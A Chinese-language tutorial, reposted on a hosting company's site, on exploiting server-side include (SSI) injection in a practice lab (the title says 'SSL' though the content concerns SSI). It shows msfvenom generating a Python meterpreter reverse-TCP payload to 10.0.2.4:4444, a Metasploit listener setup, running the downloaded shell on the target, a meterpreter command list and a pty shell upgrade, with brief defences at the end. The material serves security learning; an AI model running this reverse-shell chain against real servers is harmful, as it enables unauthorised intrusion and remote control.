这期内容当中小编将会给大家带来有关如何分析Web安全SSL注入,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。
创新互联公司云计算的互联网服务提供商,拥有超过13年的服务器租用、中国电信成都枢纽中心、云服务器、虚拟空间、网站系统开发经验,已先后获得国家工业和信息化部颁发的互联网数据中心业务许可证。专业提供云主机、虚拟空间、空间域名、VPS主机、云服务器、香港云服务器、免备案服务器等。
如何从外部进入主机?
SSI(server side inject)的出现是为了赋予HTML静态页面动态的效果,通过SSI来执行系统命令;并返回对应的结果。
如果再网站目录中发现了`.stm;.shtm;.shtml;`这样的文件后缀名,并且网站对于SSI的输入没有做到严格过滤或者过滤不充分;很有可能被SSI注入攻击。
①显示服务器端环境变量<#echo>
本文档名称:
现在时间:
显示IP地址:
②将文本内容直接插入到文档中<#include>
注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径
③显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)
文件最近更新日期:
文件的长度:
④直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)
比如:
列举当前目录中的文件和目录
就是可以执行一些终端命令
进一步利用,下载一个shell脚本并重命名为shell.php
制作webshell
之前使用的php制作的webshell,这次使用python
msfvenom -p python/meterpreter/reverse_tcp lhost=10.0.2.4 lport=4444 -f raw > /root/Desktop/shell.py启动监听,使用metasploit对4444端口进行监听
msf5 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf5 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp payload => python/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set lhost 10.0.2.4
lhost => 10.0.2.4
msf5 exploit(multi/handler) > run[*] Started reverse TCP handler on 10.0.2.4:4444
设置好后开始侦听4444端口
将shell.py移动到apache目录下,才可以使用IP地址的链接下载
然后需要开启apache服务`service apache2 start`
然后执行下载命令将shell下载到靶机的站点目录当中,
然后执行语句赋予shell执行权限再进行执行
#加权限 #执行然后看到浏览器在不断发送请求,到终端查看监听状况,发现返回了meterpreter
输入`?`可以查看当前可执行的命令
Core Commands
=============Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
chmod Change the permissions of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory
Stdapi: Networking Commands
===========================Command Description
------- -----------
ifconfig Display interfaces
ipconfig Display interfaces
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
Stdapi: System Commands
=======================Command Description
------- -----------
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system's local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
shell Drop into a system command shell
sysinfo Gets information about the remote system, such as OS
Stdapi: Audio Output Commands
=============================Command Description
------- -----------
play play a waveform audio file (.wav) on the target system输入shell进行利用,再查看id,发现当前登录的只是一个普通用户,而不是root用户
终端可以选择进行优化一下,就是让其显示用户名和主机名,和kali的终端形式那样。
python -c 'import pty;pty.spawn("/bin/bash")'然后就是提权,靶场没有设置flag值,目的是为了学习SSI注入,所以就不再继续进行下去了。
对于SSI漏洞服务器有很多过滤机制,需要进行绕过,比如大小写。
防御措施:
一、进行过滤,过滤这些语法中的特殊字符
二、关闭服务器SSI相关功能
上述就是小编为大家分享的如何分析Web安全SSL注入了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注创新互联行业资讯频道。
网页题目:如何分析Web安全SSL注入
分享网址:http://cdweb.net/article/posssj.html